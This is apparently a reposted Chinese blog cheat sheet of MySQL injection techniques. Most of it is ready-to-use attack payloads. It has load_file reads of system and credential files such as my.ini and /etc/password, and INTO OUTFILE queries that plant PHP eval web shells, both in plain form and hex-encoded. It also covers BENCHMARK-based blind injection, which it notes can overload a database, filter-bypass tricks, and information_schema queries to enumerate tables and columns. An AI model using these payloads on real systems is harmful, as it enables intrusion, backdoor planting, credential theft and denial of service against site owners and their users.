mysql 注入用例_mysql-常用注入渗透手法
mysql:
內置函數常用函數:left(), mid(), ord(), ?length(),?benchmark(),load_file(), outfile(),?concat(),
系統重要信息:system_user(), user(), current_user, session_user(), database(), version(),
ASCII碼:select char(97,100,109,105,110?) 回顯:admin
16進制:select?0x61646D696E 回顯:admin
注釋方法: /* --
使用 /**/ 或者 + 代替空格
@@datadir 讀取數據庫路徑
@@basedir MYSQL 安裝路徑
@@version_compile_os 操作系統
load_file:linux,windows寫全路徑時候,c:/1.txt, /var/www/1.php 路徑均為左斜杠 /
c:/windows/php.ini c:/winnt/php.ini ?c:/windows/my.ini //管理員登陸過MYSQL會留下密碼和用戶名 c:/winnt/my.ini ?c:/boot.ini
/etc/password / ?/usr/local/httpd/conf/httpd.conf //也許能找到網站默認目錄 ?/usr/local/apache2/conf/httpd.conf //也許能找到網站默認目錄哦!FreeBSD下:
load_file(char(47)) 列出了此FreeBSD系統的根目錄
讀不出來的原因:1.權限不夠: and (select count(*) from mysql.user)>0-- 如果返回OK,則表示有權限。如果Denied則NO
2.回顯長度限制,Substring(load_file(A),0,50),Substring(load_file(A),50,100)一步一步讀 3.concat()拼接
outfile:寫入條件:1. 未過濾' ' 2.權限 3.得到網站物理路徑
已經上傳了JPG小馬, unionselect 1,load_file( /var/www/xiaoma.jpg),3,4,5,6 into outfile '/var/www/xiaoma.php'/*
直接寫入小馬,union select 1,'<?php eval($_POST[cmd])?>',3,4,5,6 into outfile '/var/www/xm.php'/*
||
等價于
||
0x3C3F706870206576616C28245F504F53545B636D645D293F3E
數據庫導出馬:
create databaseSupers;useSupers;create table SuperT(code text);insert into SuperT(code) values ("<?php @eval($_POST['cmd']);?>");select * from SuperT intooutfile "D:\\xxx\\shell.php";drop database Supers;
View Code
BENCHMARK:重復執行。不僅可以在display_errors=Off時候,無法判斷SQL正確與否。讓我們盲注的時候判斷技巧。而且可以用來DDOS攻擊數據庫!
id=1 union select 1,benchmark(500000,md5('test')),1 from user where userid=1 and ord(substring(username,1,1))=97 /*UNION SELECT IF(SUBSTRING(user_password,1 ,1) = CHAR(52),BENCHMARK(5000000,md5('test')),null) FROM mb_users WHERE user_group = 1;
View Code
繞過防注入:
id=-255+union+/*!select*/+1,2,3,4 +號代替被顧慮的空格, !
and 1=2 un%ion sel%ect 1,2,3,4,sys%tem_us%er() %繞過被過濾的SQL語句
爆表:
select 0,0,concat(table_name),0 from (select * from (select * from information_schema.tables where table_schema=16進制database()order by table_schema limit 0,1) t order by table_schema desc)t limit 1-- 爆出第1個表
select 0,0,concat(table_name),0 from (select * from (select * from information_schema.tables where table_schema=16進制database()order by table_schema limit 1,1) t order by table_schema desc)t limit 1-- 爆出第2個表
......爆出所有有用的表后,假如得到admin表:?0x61646D696E
select 0,0,concat(cast(count(*) as char)),0 from information_schema.columns where table_name=0x61646D696Eand table_schema=database() limit 1-- 爆出ADMIN表的列數
select 0,0,concat(column_name) from (select * from (select * from information_schema.columns wheretable_name=0x61646D696E and table_schema=database() order by 1 limit 0,1) t order by 1 desc)t limit 1-- 爆出ADMIN表第一個列。即索引為0的列...
root或者足夠權限可以爆數據庫用戶帳戶,密碼:user password
總結
以上是生活随笔為你收集整理的mysql 注入用例_mysql-常用注入渗透手法的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 自主云服务器处理器_云服务器哪家的CPU
- 下一篇: mysql 缓存监控_MySQL监控性能